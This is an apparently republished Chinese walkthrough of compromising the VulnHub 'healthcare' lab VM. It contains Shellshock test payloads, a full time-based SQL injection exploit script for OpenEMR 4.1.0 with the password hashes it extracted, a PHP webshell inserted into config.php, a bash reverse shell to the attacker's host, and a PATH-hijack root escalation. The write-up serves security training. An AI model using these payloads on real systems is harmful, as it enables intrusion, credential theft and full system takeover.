vulnhub靶场之healthcare靶机

admin 2025年3月16日21:59:39评论0 views字数 6377阅读21分15秒阅读模式

前言

靶机:healthcare靶机,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.6

靶机和攻击机都采用VMware虚拟机,都采用桥接网卡模式

文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,或者通过网盘链接下载 https://pan.quark.cn/s/d61ada5d3cf2

主机发现

也就是相当于现实环境中去发现确定主机的ip地址,因为这里是靶机环境,所以跳过了从域名到ip地址的过程。

使用arp-scan -l或者netdiscovery -r 192.168.10.1/24

当然也可以使用nmap等工具进行

arp-scan -l
vulnhub靶场之healthcare靶机

信息收集

使用nmap扫描目标端口等信息

首先扫描目标的tcp端口的开放情况

nmap -sT --min-rate=1000 192.168.10.11 -p- -oA nmap-tcp
vulnhub靶场之healthcare靶机

再扫描udp端口的开放情况

nmap -sU --min-rate=1000 192.168.10.11 --top-ports 20 -oA nmap-udp
vulnhub靶场之healthcare靶机

可以看到明确开放的udp端口没有,所以下面对tcp端口进行一个筛选,这里因为22端口并不是明确closed的,是filtered的,所以也要包括在内

ports=`grep /tcp nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`
vulnhub靶场之healthcare靶机

进一步对这些端口进行服务、系统等探测

nmap -sV -O -sC 192.168.10.11 -p $ports --min-rate=1000
vulnhub靶场之healthcare靶机

再使用nmap的漏洞检测脚本对这些端口进行探测

nmap --script=vuln 192.168.10.11 -p $ports
vulnhub靶场之healthcare靶机

FTP探测

使用nmap的脚本检测

nmap --script=ftp* 192.168.10.11 -p 21
vulnhub靶场之healthcare靶机

再尝试使用anonymous能否匿名无密码登录,虽然如果可以nmap会显示的,但还是测试一下

vulnhub靶场之healthcare靶机

网站信息探测

访问端口界面,查看页面源代码,并无信息泄露

vulnhub靶场之healthcare靶机

使用whatweb或浏览器插件wappalyzer识别配置

vulnhub靶场之healthcare靶机
whatweb http://192.168.10.11
vulnhub靶场之healthcare靶机

使用gobuster等工具进行目录爆破

gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 403-404 -x php,html,txt,git,zip,md
vulnhub靶场之healthcare靶机

访问robots.txt,发现几个目录

vulnhub靶场之healthcare靶机

访问/all_our_e-mail_addresses,发现不行,提示对象找不到,并且尝试访问其他的目录,也是如此

vulnhub靶场之healthcare靶机

这里robots中提到user-agent,不过即使我修改为htdig,也是无法访问doc方面的,只能暂且放置

访问目录爆破出的几个目录,要不就是找不到,要么就是403,无权访问

重新扫描一下,换一个工具,感觉少了点什么

dirsearch -u http://192.168.10.11
vulnhub靶场之healthcare靶机

啧啧啧, 这可厉害了,访问查看

vulnhub靶场之healthcare靶机

好好好,那么就测试有无shellshock漏洞。对于该漏洞,再次写一下

CVE漏洞名称:CVE-2014-6271

目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

那么尝试构造链接进行测试

curl -H "User-Agent: (){ :;};echo Content-Type;echo test;/usr/bin/id;" http://192.168.10.11/cgi-bin/test.cgi -I -vcurl -H 'x: () { :;};a=/bin/cat /etc/passwd;echo $a' 'http://192.168.10.11/cgi-bin/test.cgi' -I
vulnhub靶场之healthcare靶机

但是测试后,发现漏洞应该修复了,代码并没有执行成功,奇怪了,突破点在哪里啊

使用searchsploit有无对应的apache2漏洞,基本上不行

两条路,爆破ftp,这个难度可能高,毕竟不知道用户名和密码

另外就是目录爆破的字典不行,再扩大

这里我其实使用的是kali默认的最大字典了,啧,只能下载字典了,好在可以通过apt直接下载

apt -y install seclists

这个在github上是有项目地址的,并且一直在更新https://github.com/danielmiessler/SecLists

这个字典安装后的位置是在/usr/share/seclists

因为后面采用的字典很大,我这里为了省时间,就去掉了扩展,实际扫描的时候建议不要像我这样

我是因为实在没办法看了wp,最后知道是字典问题的,所以去掉扩展扫描的

gobuster dir -u http://192.168.10.11 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -b 404,403
vulnhub靶场之healthcare靶机

cms漏洞利用

访问openemr,发现有一个登录框,并且给出了版本

vulnhub靶场之healthcare靶机

登录框测试了一下简单的注入,并没有效果,并且并没有验证码之类的,所以可以爆破

使用searchsploit搜索该CMS的漏洞,发现具体的有两个漏洞,都是sql注入的

vulnhub靶场之healthcare靶机

查看文本txt文件

vulnhub靶场之healthcare靶机

尝试下面的payload,发现并不行,访问后还是直接跳转到登录界面

那么查看python脚本文件,文件中的url,测试一下是否可以访问,可以访问

vulnhub靶场之healthcare靶机

进一步的去查看脚本文件,发现,主要就是利用时间延时注入进行的一个枚举

查看代码,当然,这里其实知道了注入点,就可以自己去burp等工具上进行爆破了,这也让我知道会编写脚本的重要性。

# Exploit Title: OpenEMR 4.1.0 - 'u' SQL Injection# Date: 2021-04-03# Exploit Author: Michael Ikua# Vendor Homepage: https://www.open-emr.org/# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v4_1_0.zip# Version: 4.1.0# Original Advisory: https://www.netsparker.com/web-applications-advisories/sql-injection-vulnerability-in-openemr/#!/usr/bin/env python3import requestsimport stringimport sysprint("""   ____                   ________  _______     __ __   ___ ____  / __ ____  ___  ____  / ____/  |/  / __    / // /  <  // __ \ / / / / __ / _ / __ / __/ / /|_/ / /_/ /  / // /_  / // / / // /_/ / /_/ /  __/ / / / /___/ /  / / _, _/  /__  __/ / // /_/ /____/ .___/___/_/ /_/_____/_/  /_/_/ |_|     /_/ (_)_(_)____/    /_/    ____  ___           __   _____ ____    __    _   / __ )/ (_)___  ____/ /  / ___// __   / /   (_)  / /_/ / / / __ / __  /   __ / / / / / /   / / / /_/ / / / / / / /_/ /   ___/ / /_/ / / /___/ //_____/_/_/_/ /_/__,_/   /____/____/_____/_/   exploit by @ikuamike""")all = string.printable# 这里编辑url地址,确保是可访问的正确的url = "http://192.168.10.11/openemr/interface/login/validateUser.php?u="#确定用户名的个数defextract_users_num():print("[+] Finding number of users...")for n inrange(1,100):        payload = ''%2b(SELECT+if((select count(username) from users)=' + str(n) + ',sleep(3),1))%2b''        r = requests.get(url+payload)if r.elapsed.total_seconds() > 3:            user_length = nbreakprint("[+] Found number of users: " + str(user_length))return user_lengthdefextract_users():    users = extract_users_num()print("[+] Extracting username and password hash...")    output = []#这个for循环是确定user:pass这种形式的具体长度的,也就是length的大小for n inrange(1,1000):        payload = ''%2b(SELECT+if(length((select+group_concat(username,':',password)+from+users+limit+0,1))=' + str(n) + ',sleep(3),1))%2b''#print(payload)        r = requests.get(url+payload)#print(r.request.url)if r.elapsed.total_seconds() > 3:            length = nbreak#这个for循环是确定每一位的ascii值的for i inrange(1,length+1):for char inall:            payload = ''%2b(SELECT+if(ascii(substr((select+group_concat(username,':',password)+from+users+limit+0,1),'str(i)+',1))='+str(ord(char))+',sleep(3),1))%2b''#print(payload)            r = requests.get(url+payload)#print(r.request.url)if r.elapsed.total_seconds() > 3:                output.append(char)if char == ",":print("")continueprint(char, end='', flush=True)try:    extract_users()except KeyboardInterrupt:print("")print("[+] Exiting...")    sys.exit()

啧,其实到这里可以尝试使用sqlmap了,但是在一些考试中,不允许使用的,所以还是使用脚本。不过sqlmap一定要会使用

这个脚本需要修改其中的url,也就是ip地址改为靶机的即可

#执行脚本python3 49742.py#获取到的值[+] Finding number of users...[+] Found number of users: 2[+] Extracting username and password hash...admin:3863efef9ee2bfbc51ecdca359c6302bed1389e8medical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d

借助在线网站cmd5.com破解值

vulnhub靶场之healthcare靶机
vulnhub靶场之healthcare靶机

破解后为

admin:ackbarmedical:medical

构造命令执行至反弹shell

admin登录,然后测试功能点,在administration下的files中,发现可编辑文件,并且可以保存,编辑的文件可以是php,并且还有文件所在的路径,插入一句话,使得可以命令执行

system($_GET['cmd']);
vulnhub靶场之healthcare靶机

然后下拉,可以看到save按钮,保存即可

这时候构造链接去访问,若直接访问/sites/default的话,是无权的,但是加上config.php可以访问成功

http://192.168.10.11/openemr/sites/default/config.php?cmd=id
vulnhub靶场之healthcare靶机

后面就可以进行编写反弹shell

bash -i >& /dev/tcp/192.168.10.6/9999 0>&1#进行url编码bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.10.6%2f9999+0%3e%261

当然执行前记得先在kali开启监听端口

nc -lvvp 9999
vulnhub靶场之healthcare靶机

提权

使用命令查看安装的什么版本的python,然后进一步获取shell

compgen -c | grep pythonpython -c 'import pty;pty.spawn("/bin/bash")'
vulnhub靶场之healthcare靶机

查看有哪些用户,发现有medical,之前获取的medical密码是否可用,进行测试

vulnhub靶场之healthcare靶机

密码与网站密码一样,用户名medical,密码medical

vulnhub靶场之healthcare靶机

查看当前用户下的主目录,并没有发现user.txt,为什么找它,毕竟这是作者说的,找到的过程也是一种学习

切换其他用户目录下查看,因为有权限的,在almirant的主目录下,发现user.txt文件

vulnhub靶场之healthcare靶机

在备份目录/var/backups处,找到了/etc/shadow的文件备份,这就可以进行hash爆破了

vulnhub靶场之healthcare靶机

该备份目录下,基本上该有的都有,网站备份,等等,这里也看到了连接数据库的用户名和密码,啧

也去查看了ftp中的信息,只有一个文件,并没有信息,说明21端口真的无用

vulnhub靶场之healthcare靶机

那么继续,使用find寻找具有SUID权限的文件

find / -perm -4000 -print 2>/dev/null
vulnhub靶场之healthcare靶机

本以为会有sudo,毕竟这么多用户,想着会一步步提权呢,没想到没有sudo

这个文件,一看就像是自己创建的,执行一下测试

vulnhub靶场之healthcare靶机

使用strings测试,这个命令靶机可以使用,所以直接查看

strings /usr/bin/healthcheck
vulnhub靶场之healthcare靶机

可以看到,这里调用命令的时候,并不是绝对路径,是根据环境变量调用的,那么就可以利用这一点,去提权。

cd /tmpecho $PATHexport PATH=/tmp:$PATHecho $PATH
vulnhub靶场之healthcare靶机

这时候就会优先调用/tmp目录的,写一个文件,命名为ifconfig,然后代码为提权,如

echo "chmod +s /bin/bash" > ifconfigchmod 777 ifconfig
vulnhub靶场之healthcare靶机

然后开始执行/usr/bin/healthcheck,这时候可以看到ifconfig网络信息的内容没有了

vulnhub靶场之healthcare靶机

这时候查看/bin/bash的权,发现具有SUID权限了,那么直接提权

/bin/bash -p
vulnhub靶场之healthcare靶机

查看最终的root.txt

vulnhub靶场之healthcare靶机

总结

该靶机的考察点主要侧重在web界面,也就是网站

  1. 1. 目录爆破的时候,字典的强度决定你的强度
  2. 2. CMS的历史漏洞,这里提醒,要会编写脚本
  3. 3. CMS的一些功能点要会测试,并能够找到可利用点
  4. 4. 对于环境变量提权的手法要会

原文始发于微信公众号(泷羽sec-何生安全):vulnhub靶场之healthcare靶机

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月16日21:59:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnhub靶场之healthcare靶机https://cn-sec.com/archives/3845482.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息